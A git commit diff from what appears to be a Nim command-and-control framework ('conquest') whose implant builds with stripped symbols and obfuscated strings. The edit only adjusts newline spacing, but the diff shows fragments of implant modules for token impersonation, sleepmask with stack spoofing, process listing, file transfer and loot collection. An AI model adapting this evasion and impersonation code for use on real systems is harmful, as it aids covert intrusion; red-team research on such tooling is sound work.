Standardized console spacing between commands.
This commit is contained in:
@@ -3,6 +3,6 @@
|
|||||||
-d:release
|
-d:release
|
||||||
--opt:size
|
--opt:size
|
||||||
--passL:"-s" # Strip symbols, such as sensitive function names
|
--passL:"-s" # Strip symbols, such as sensitive function names
|
||||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||||
-d:MODULES="511"
|
-d:MODULES="511"
|
||||||
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
||||||
@@ -150,7 +150,6 @@ proc displayHelp(component: ConsoleComponent) =
|
|||||||
for module in getModules(component.agent.modules):
|
for module in getModules(component.agent.modules):
|
||||||
for cmd in module.commands:
|
for cmd in module.commands:
|
||||||
component.console.addItem(LOG_OUTPUT, " * " & cmd.name.alignLeft(15) & cmd.description)
|
component.console.addItem(LOG_OUTPUT, " * " & cmd.name.alignLeft(15) & cmd.description)
|
||||||
component.console.addItem(LOG_OUTPUT, "")
|
|
||||||
|
|
||||||
proc displayCommandHelp(component: ConsoleComponent, command: Command) =
|
proc displayCommandHelp(component: ConsoleComponent, command: Command) =
|
||||||
var usage = command.name & " " & command.arguments.mapIt(
|
var usage = command.name & " " & command.arguments.mapIt(
|
||||||
@@ -172,7 +171,6 @@ proc displayCommandHelp(component: ConsoleComponent, command: Command) =
|
|||||||
for arg in command.arguments:
|
for arg in command.arguments:
|
||||||
let isRequired = if arg.isRequired: "YES" else: "NO"
|
let isRequired = if arg.isRequired: "YES" else: "NO"
|
||||||
component.console.addItem(LOG_OUTPUT, " * " & arg.name.alignLeft(15) & " " & ($arg.argumentType).toUpperAscii().alignLeft(6) & " " & isRequired.align(8) & " " & arg.description)
|
component.console.addItem(LOG_OUTPUT, " * " & arg.name.alignLeft(15) & " " & ($arg.argumentType).toUpperAscii().alignLeft(6) & " " & isRequired.align(8) & " " & arg.description)
|
||||||
component.console.addItem(LOG_OUTPUT, "")
|
|
||||||
|
|
||||||
proc handleHelp(component: ConsoleComponent, parsed: seq[string]) =
|
proc handleHelp(component: ConsoleComponent, parsed: seq[string]) =
|
||||||
try:
|
try:
|
||||||
@@ -185,6 +183,9 @@ proc handleHelp(component: ConsoleComponent, parsed: seq[string]) =
|
|||||||
# Command was not found
|
# Command was not found
|
||||||
component.console.addItem(LOG_ERROR, "The command '" & parsed[1] & "' does not exist.")
|
component.console.addItem(LOG_ERROR, "The command '" & parsed[1] & "' does not exist.")
|
||||||
|
|
||||||
|
# Add newline at the end of help text
|
||||||
|
component.console.addItem(LOG_OUTPUT, "")
|
||||||
|
|
||||||
proc handleAgentCommand*(component: ConsoleComponent, connection: WsConnection, input: string) =
|
proc handleAgentCommand*(component: ConsoleComponent, connection: WsConnection, input: string) =
|
||||||
# Convert user input into sequence of string arguments
|
# Convert user input into sequence of string arguments
|
||||||
let parsedArgs = parseInput(input)
|
let parsedArgs = parseInput(input)
|
||||||
|
|||||||
@@ -118,7 +118,7 @@ when defined(agent):
|
|||||||
if length == 0:
|
if length == 0:
|
||||||
raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
|
raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
|
||||||
|
|
||||||
let output = $buffer[0 ..< (int)length] & "\n"
|
let output = $buffer[0 ..< (int)length]
|
||||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output))
|
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output))
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
@@ -186,7 +186,7 @@ when defined(agent):
|
|||||||
hFind = FindFirstFileW(searchPatternW, &findData)
|
hFind = FindFirstFileW(searchPatternW, &findData)
|
||||||
|
|
||||||
if hFind == INVALID_HANDLE_VALUE:
|
if hFind == INVALID_HANDLE_VALUE:
|
||||||
raise newException(OSError, fmt"Failed to find files ({GetLastError()}).")
|
raise newException(OSError, fmt"Failed to list files ({GetLastError()}).")
|
||||||
|
|
||||||
# Directory was found and can be listed
|
# Directory was found and can be listed
|
||||||
else:
|
else:
|
||||||
@@ -286,7 +286,7 @@ when defined(agent):
|
|||||||
|
|
||||||
# Add summary of how many files/directories have been found
|
# Add summary of how many files/directories have been found
|
||||||
output &= "\n" & fmt"{totalFiles} file(s)" & "\n"
|
output &= "\n" & fmt"{totalFiles} file(s)" & "\n"
|
||||||
output &= fmt"{totalDirs} dir(s)" & "\n"
|
output &= fmt"{totalDirs} dir(s)"
|
||||||
|
|
||||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output))
|
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output))
|
||||||
|
|
||||||
|
|||||||
@@ -83,7 +83,7 @@ when defined(agent):
|
|||||||
let destination = fmt"{paths.getCurrentDir()}\{fileName}"
|
let destination = fmt"{paths.getCurrentDir()}\{fileName}"
|
||||||
writeFile(fmt"{destination}", fileContents)
|
writeFile(fmt"{destination}", fileContents)
|
||||||
|
|
||||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"File uploaded to {destination}." & "\n"))
|
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"File uploaded to {destination}."))
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||||
|
|||||||
@@ -68,7 +68,7 @@ when defined(agent):
|
|||||||
case int(task.argCount):
|
case int(task.argCount):
|
||||||
of 0:
|
of 0:
|
||||||
# Retrieve sleepmask settings
|
# Retrieve sleepmask settings
|
||||||
let response = fmt"Sleepmask settings: Technique: {$ctx.sleepTechnique}, Delay: {$ctx.sleep}ms, Stack spoofing: {$ctx.spoofStack}" & "\n"
|
let response = fmt"Sleepmask settings: Technique: {$ctx.sleepTechnique}, Delay: {$ctx.sleep}ms, Stack spoofing: {$ctx.spoofStack}"
|
||||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(response))
|
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(response))
|
||||||
|
|
||||||
of 1:
|
of 1:
|
||||||
|
|||||||
@@ -61,7 +61,7 @@ when defined(agent):
|
|||||||
# Take a snapshot of running processes
|
# Take a snapshot of running processes
|
||||||
let hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
|
let hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
|
||||||
if hSnapshot == INVALID_HANDLE_VALUE:
|
if hSnapshot == INVALID_HANDLE_VALUE:
|
||||||
raise newException(CatchableError, protect("Invalid permissions.\n"))
|
raise newException(CatchableError, protect("Invalid permissions."))
|
||||||
|
|
||||||
# Close handle after object is no longer used
|
# Close handle after object is no longer used
|
||||||
defer: CloseHandle(hSnapshot)
|
defer: CloseHandle(hSnapshot)
|
||||||
@@ -71,7 +71,7 @@ when defined(agent):
|
|||||||
|
|
||||||
# Loop over processes to fill the map
|
# Loop over processes to fill the map
|
||||||
if Process32First(hSnapshot, addr pe32) == FALSE:
|
if Process32First(hSnapshot, addr pe32) == FALSE:
|
||||||
raise newException(CatchableError, protect("Failed to get processes.\n"))
|
raise newException(CatchableError, protect("Failed to get processes."))
|
||||||
|
|
||||||
while true:
|
while true:
|
||||||
var procInfo = ProcessInfo(
|
var procInfo = ProcessInfo(
|
||||||
|
|||||||
@@ -4,7 +4,6 @@ import ../common/[types, utils]
|
|||||||
proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult
|
proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult
|
||||||
proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult
|
proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult
|
||||||
|
|
||||||
|
|
||||||
# Module definition
|
# Module definition
|
||||||
let module* = Module(
|
let module* = Module(
|
||||||
name: protect("token"),
|
name: protect("token"),
|
||||||
@@ -17,7 +16,7 @@ let module* = Module(
|
|||||||
description: protect("Create an access token from username and password."),
|
description: protect("Create an access token from username and password."),
|
||||||
example: protect("make-token LAB\\john Password123!"),
|
example: protect("make-token LAB\\john Password123!"),
|
||||||
arguments: @[
|
arguments: @[
|
||||||
Argument(name: protect("username"), description: protect("Account username prefixed with domain in format: domain\\username."), argumentType: STRING, isRequired: true),
|
Argument(name: protect("domain\\username"), description: protect("Account domain and username."), argumentType: STRING, isRequired: true),
|
||||||
Argument(name: protect("password"), description: protect("Account password."), argumentType: STRING, isRequired: true),
|
Argument(name: protect("password"), description: protect("Account password."), argumentType: STRING, isRequired: true),
|
||||||
Argument(name: protect("logonType"), description: protect("Logon type (https://learn.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-logon-types)."), argumentType: INT, isRequired: false)
|
Argument(name: protect("logonType"), description: protect("Logon type (https://learn.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-logon-types)."), argumentType: INT, isRequired: false)
|
||||||
],
|
],
|
||||||
@@ -59,14 +58,14 @@ when defined(agent):
|
|||||||
# Split username and domain at separator '\'
|
# Split username and domain at separator '\'
|
||||||
let userParts = username.split("\\", 1)
|
let userParts = username.split("\\", 1)
|
||||||
if userParts.len() != 2:
|
if userParts.len() != 2:
|
||||||
raise newException(CatchableError, protect("Invalid username format. Expected: <DOMAIN>\\<USERNAME>.\n"))
|
raise newException(CatchableError, protect("Expected format domain\\username."))
|
||||||
|
|
||||||
if task.argCount == 3:
|
if task.argCount == 3:
|
||||||
logonType = cast[DWORD](Bytes.toUint32(task.args[2].data))
|
logonType = cast[DWORD](Bytes.toUint32(task.args[2].data))
|
||||||
|
|
||||||
if not makeToken(userParts[1], password, userParts[0], logonType):
|
if not makeToken(userParts[1], password, userParts[0], logonType):
|
||||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(protect("Failed to create token.\n")))
|
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(protect("Failed to create token.")))
|
||||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"Impersonated {username}." & "\n"))
|
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"Impersonated {username}."))
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||||
|
|||||||
@@ -146,10 +146,11 @@ proc handleResult*(resultData: seq[byte]) =
|
|||||||
cq.client.sendLoot(lootItem)
|
cq.client.sendLoot(lootItem)
|
||||||
|
|
||||||
cq.output(fmt"File downloaded to {downloadPath} ({$fileData.len()} bytes).", "\n")
|
cq.output(fmt"File downloaded to {downloadPath} ({$fileData.len()} bytes).", "\n")
|
||||||
cq.client.sendConsoleItem(agentId, LOG_OUTPUT, fmt"File downloaded to {downloadPath} ({$fileData.len()} bytes)." & "\n")
|
cq.client.sendConsoleItem(agentId, LOG_OUTPUT, fmt"File downloaded to {downloadPath} ({$fileData.len()} bytes).")
|
||||||
|
else: discard
|
||||||
|
|
||||||
of RESULT_NO_OUTPUT:
|
# Send newline to separate commands
|
||||||
cq.output()
|
cq.client.sendConsoleItem(agentId, LOG_OUTPUT, "")
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
cq.error(err.msg, "\n")
|
cq.error(err.msg, "\n")
|
||||||
|
|||||||
Reference in New Issue
Block a user